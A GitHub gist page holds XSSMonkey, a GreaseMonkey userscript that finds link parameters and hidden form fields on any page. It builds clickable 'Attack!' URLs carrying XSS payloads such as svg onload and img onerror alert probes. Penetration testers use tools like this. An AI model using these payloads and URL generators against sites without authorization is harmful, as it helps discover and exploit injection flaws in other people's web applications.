-
-
Save Spy0x7/ef347bb3bc7bcae93461fb7ffcf7beb7 to your computer and use it in GitHub Desktop.
XSS testing userscript for GreaseMonkey to for XSS issues with links and forms in a page. Based on ph3wl's XSS script.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name XSSMonkey | |
// @namespace thartm | |
// @description Identifies potential Cross Site Scripting (XSS) sinks in the currently displayed website and provides an easy option to probe them. Based on ph3wl's XSS script. | |
// @include * | |
// @require http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js | |
// ==/UserScript== | |
// | |
// Set your test string here | |
var xssPayloads = ["\" ><svg onload=alert(1)><\"", "<img src=x onerror=alert('1234567')>", | |
"\" onshow=alert(1234567) \"", | |
";alert('1234567');"]; | |
var xssLocator = "'';!--\"<1234567>=&{()}"; | |
var PATTERN_DOUBLE_QUOTE = "\"dqpt"; | |
var PATTERN_SINGLE_QUOTE = "'sqpt"; | |
var PATTERN_SMALLER = "<smpt"; | |
var PATTERN_LARGER = ">lgpt"; | |
var PATTERN_BACKTICK = "`btpt"; | |
var PATTERN_BRACE_OPEN = "(bpt"; | |
var PATTERN_BRACE_CLOSE = ")bcpt"; | |
var PATTERN_EQUAL = "=eqpt"; | |
var XSS_LOCATOR_PATTERN_ALL = PATTERN_DOUBLE_QUOTE | |
+ PATTERN_SINGLE_QUOTE | |
+ PATTERN_LARGER | |
+ PATTERN_SMALLER | |
+ PATTERN_BACKTICK | |
+ PATTERN_BRACE_OPEN | |
+ PATTERN_BRACE_CLOSE | |
+ PATTERN_EQUAL; | |
function xssDict(linkList) { | |
// Create list of page links with GET paremeters | |
this.dirtyLinks = linkList.filter("[href*='?']"); | |
// Split links for main dictionary | |
this.linkDict = splitLinks; | |
// Create list of hidden form elements | |
this.hiddenForms = hiddenInput; | |
// Find hidden elements pulling from current url | |
//this.matchWithHidden = matchParams; | |
// Get size of array | |
// Split links into attribute lists | |
function splitLinks (linkList) { | |
splitDict = {}; | |
// List size sanity check | |
if (linkList.length > 0) { | |
// Split links, iterate over each parsing GET attributes | |
linkList.each(function(){ | |
// Add check for same or short path URLs to exclude foreign domains | |
urlSlice1 = this.href.split('?'); | |
// Only save links containing current document host | |
if (urlSlice1[0].indexOf(document.location.host) > 1) { | |
// Split attributes for slicing | |
urlSlice2 = urlSlice1[1].split('&'); | |
cutAttribs = splitAttribs(urlSlice2); | |
if (objectSize(cutAttribs)) { | |
splitDict[urlSlice1[0]] = splitAttribs(urlSlice2); | |
} | |
} | |
}); | |
} | |
return splitDict; | |
} | |
// Parse GET attributes | |
function splitAttribs (attribList) { | |
newDict = new Object(); | |
for (subCount in attribList) { | |
// Split on "=" | |
splitAttrib = attribList[subCount].split('='); | |
// Add param/value to dict if key/value | |
if (splitAttrib[1]) { | |
newDict[splitAttrib[0]] = splitAttrib[1]; | |
} | |
} | |
return newDict; | |
} | |
// Parse hidden form elements into dict | |
function hiddenInput () { | |
tempDict = {} | |
// Get hidden elements | |
hiddenInput = $('input:hidden'); | |
// Input list size sanity check | |
if (hiddenInput.length > 0) { | |
// Create array using name or id attribute of hidden form elements | |
$('input:hidden').each(function () { | |
testName = $(this).attr("name"); | |
// Handle blank empty form elements | |
thisValue = $(this).attr("value") ? $(this).attr("value") : "blank"; | |
// Set key name by 'name' or 'id' | |
if ($(this).attr("name")) { | |
tempDict[$(this).attr("name")] = thisValue; | |
} else if ($(this).attr("id")) { | |
tempDict[$(this).attr("id")] = thisValue; | |
} | |
}); | |
} | |
return tempDict; | |
} | |
} | |
function displayObj () { | |
// Create new xssDict | |
var myXss = new xssDict($("a")); | |
// Set private variables | |
var linkList = myXss.linkDict(myXss.dirtyLinks); | |
var hiddenIn = myXss.hiddenForms(); | |
var easyXss = matchParams(hiddenIn); | |
// expose Start function | |
this.startDisplay = showButtons; | |
// Generic button element | |
var defaultButton = $("<div>").css({ | |
"height":"10px", | |
"width":"10px", | |
"position":"absolute", | |
"background":"white", | |
"z-index":"999", | |
"border":"1px solid black" | |
}); | |
// Generic CSS Attributes | |
// Some sites still manage to disturb the display | |
function labelCss (thisTag) { | |
return $(thisTag).css({ | |
"cursor":"default", | |
"color":"black", | |
"font-size":"12px", | |
"margin":"0px", | |
"line-heigh":"14px", | |
"padding":"2px 10px", | |
"background":"white", | |
"text-align":"center", | |
"border-bottom":"1px solid black", | |
"text-decoration":"none" | |
}); | |
} | |
// Starter function, draw buttons if appropriate lists exist. | |
function showButtons () { | |
// Start of boxes | |
topPaint = 150; | |
// Check if the link list exists | |
if (objectSize(linkList)) { | |
$(uiButton(topPaint,"xssButton1", "XSS via links and parameters", "red")) | |
.bind("click",showLinks) | |
.appendTo("html"); | |
// Keep track of draw position | |
topPaint+=11; | |
} | |
// check if hidden list exists | |
if (objectSize(hiddenIn)) { | |
$(uiButton(topPaint,"xssButton2", "XSS via form fields", "yellow")) | |
.bind("click",showForms) | |
.appendTo("html"); | |
// Keep track of draw position | |
topPaint+=11; | |
} | |
// Check for a form element pulled from URL | |
if (easyXss) { | |
$(uiButton(topPaint,"xssButton3", "Redirect to form location.", "green")) | |
.appendTo("html") | |
.bind("click",function (){ | |
window.location = easyXss; | |
}); | |
} | |
// Add button hide function to <body> click handler | |
$("body").click(function () { | |
$("div[id*='xssM']").hide(); | |
}); | |
} | |
// Draw UI button | |
function uiButton (buttonTop, buttonId, description, bgColor) { | |
return $(defaultButton).clone().attr('title', description).attr("id",buttonId).css({ | |
"top":buttonTop+"px", | |
"background-color":bgColor | |
}); | |
} | |
// -Button onclick functions | |
// Hide any showing list, show link list | |
function showLinks() { | |
$("div[id*='xssM']").hide(); | |
urlBox(linkList, "#xssMain", 11, $(this).offset().top); | |
} | |
// Hide any showing list, show form list | |
function showForms() { | |
$("div[id*='xssM']").hide(); | |
urlBox(hiddenIn, "#xssMainF", 11, $(this).offset().top); | |
} | |
// Add container div for lists | |
function urlBox (nameList, idName, startLeft, startTop) { | |
// Show container if it exists already | |
if ($(idName).length > 0) { | |
$(idName).show(); | |
// Otherwise create it | |
} else { | |
// Subdiv css | |
$("<div>").css({ | |
"width":"auto", | |
"background":"black", | |
"position":"absolute", | |
"top":startTop+"px", | |
"left":startLeft+"px", | |
"z-index":"999", | |
"border":"1px solid black", | |
"border-bottom":"none" | |
}) | |
// strip "#" | |
.attr("id",idName.substr(1)) | |
// Add to page | |
.appendTo("html"); | |
// Draw urls for associated list | |
drawUrls($(idName),nameList, idName); | |
} | |
} | |
// Create new Id by: | |
function createLinkId(idName, idCount) { | |
// -Prepending "a" | |
// -Stripping "#" | |
// -Appending "-" and the iteration count | |
return "a"+idName.substr(1)+"-"+idCount; | |
} | |
// Submenu creation function | |
function drawUrls(elementBox, artArray, idName) { | |
var idCount = 0; | |
// Create another supermenu if array is object | |
if (typeof artArray == "object") { | |
// Iterate over array elements | |
for (thisRoot in artArray) { | |
if (artArray[thisRoot]) { | |
idCount++; | |
// Create id name | |
newId = createLinkId(idName, idCount); | |
// If element already exists, display it instead | |
if ($(newId).length > 0) { | |
$(newId).show(); | |
} else { | |
// Create generic paragraph | |
labelCss($("<p>")).clone() | |
.attr("id",newId) | |
.attr("title",thisRoot) | |
.bind("click", function () { | |
thisId = "#"+($(this).attr("id").substr(1)); | |
// Get any sub menus that might be open | |
hideMe = thisId.slice(1,thisId.lastIndexOf("-")+1); | |
// Hide them | |
$("div[id*="+hideMe+"]").hide(); | |
thisArray = artArray[$(this).attr("title")]; | |
// Create sub menu on click | |
urlBox(thisArray, thisId, $(this).offset().left+$(this).outerWidth(), $(this).offset().top-1); | |
}) | |
.text(thisRoot) | |
// Insert into parent box | |
.appendTo(elementBox); | |
} | |
} else { | |
artArray = thisRoot; | |
} | |
} | |
} | |
// Create link if we're at the end of the line | |
if (typeof artArray == "string") { | |
for (var i = 0; i < xssPayloads.length; i++) { | |
var payload = xssPayloads[i]; | |
idCount++; | |
createXssLink("Attack! " + payload, idName, idCount, artArray, payload).appendTo(elementBox); | |
} | |
createXssLink("Full Locator" + xssLocator, idName, idCount+1, artArray, xssLocator) | |
.appendTo(elementBox); | |
createXssLink("Find sinks", idName, idCount+1, artArray, XSS_LOCATOR_PATTERN_ALL) | |
.appendTo(elementBox); | |
} | |
} | |
function createXssLink(name, idName, count, artArray, xssPayload){ | |
// Create new id | |
newId = createLinkId(idName, count); | |
// Create link container | |
linkContainer = labelCss($("<p />")) | |
.attr("id",newId); | |
// Create link | |
newLink = $("<a />").clone() | |
.attr("href", artArray) | |
// Generic link text | |
.text(name) | |
// Add to link container | |
.appendTo(linkContainer); | |
// Clicked element id | |
thisId = $(idName).attr("id"); | |
// Get element root | |
rootId = getRoot(newId); | |
// Get root text | |
urlRoot = $("#"+rootId).text(); | |
// Get attack vector clicked | |
xssVector = $("#"+getPrev(newId)).text(); | |
// Set link URL to attack URL | |
newLink.attr("href",createLink(urlRoot, xssVector, linkList, xssPayload)); | |
return linkContainer; | |
} | |
// Create href based on parameters | |
function createLink(urlRoot, xssVector, rootList, payload) { | |
var bestForLast, returnUrl; | |
attribList = rootList[urlRoot]; | |
// Check if root is part of forms or links | |
if (attribList) { | |
// Construct URL for Link attacks | |
returnUrl = urlRoot + "?"; | |
for (attribute in attribList) { | |
if (attribute == xssVector) { | |
// Save attack vector for last to preserve other attributes | |
bestForLast = attribute; | |
} else { | |
// Add preserved paramater | |
returnUrl += attribute + "=" + attribList[attribute] + "&"; | |
} | |
} | |
// Add attack vector at end of string | |
returnUrl += bestForLast + "=" + payload; | |
} else { | |
// Check if URL already has GET params | |
if (window.location.href.indexOf("?") > 0) { | |
// Add to them if so | |
returnUrl = window.location.href + "&" + xssVector + "=" + payload; | |
} else { | |
// Create our own if not | |
returnUrl = window.location.href + "?" + xssVector + "=" + payload; | |
} | |
} | |
return returnUrl; | |
} | |
// Get previous menu id | |
function getPrev (thisId) { | |
prevId = thisId.slice(0,thisId.lastIndexOf("-")); | |
var retId; | |
if ($("#"+prevId).length > 0){ | |
retId = prevId; | |
} | |
return retId; | |
} | |
// Get clicked root url | |
function getRoot (thisId) { | |
prevId = getPrev(thisId); | |
retId = thisId; | |
if (prevId) { | |
retId = getRoot(prevId); | |
} | |
return retId; | |
} | |
// Find parameters in URL matching hidden form fields | |
function matchParams(hiddenIn) { | |
var urlList, easyUrl; | |
// Don't do anything if URL doesn't have GET params | |
if ((window.location.href.indexOf("?") > 0) && (window.location.href.indexOf("=") > 0)) { | |
// Create link to pass to linkDict | |
newLink = $("<a>").attr("href",window.location.href); | |
urlList = myXss.linkDict(newLink); | |
// Get current page attribs | |
for (thisUrl in urlList) { | |
theseAttribs = urlList[thisUrl]; | |
} | |
// Loop through both objects checking values | |
for (urlAttrib in theseAttribs) { | |
for (hiddenAttrib in hiddenIn) { | |
// Found a match, create easyUrl | |
if ((hiddenIn[hiddenAttrib] == theseAttribs[urlAttrib])) { | |
// Base href | |
moneyUrl = window.location.protocol + "//" + window.location.host + window.location.pathname; | |
easyUrl = createLink(moneyUrl, urlAttrib, urlList); | |
} | |
} | |
} | |
} | |
return easyUrl; | |
} | |
} | |
// Get size of object | |
function objectSize (myArray) { | |
var attribCount = 0; | |
for (attrib in myArray) { | |
attribCount++; | |
} | |
return attribCount; | |
} | |
// Start script when loaded | |
(function() { | |
myDisplay = new displayObj(); | |
myDisplay.startDisplay(); | |
}()); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment